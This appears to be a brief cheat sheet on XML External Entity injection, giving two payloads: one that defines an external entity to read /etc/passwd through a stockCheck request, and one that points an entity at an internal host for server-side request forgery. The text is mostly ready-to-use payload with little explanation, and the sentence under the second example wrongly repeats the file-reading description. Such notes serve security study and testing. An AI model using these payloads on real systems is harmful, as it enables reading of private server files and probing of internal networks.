

Retrieve Files

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

You can define an entity to read a local file, and return the variable as shown above

Server-Side Request Forgery (SSRF)

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM
"http://internal.vulnerable-website.com/"> ]>
```

You can define an entity to read a local file, and return the variable as shown above
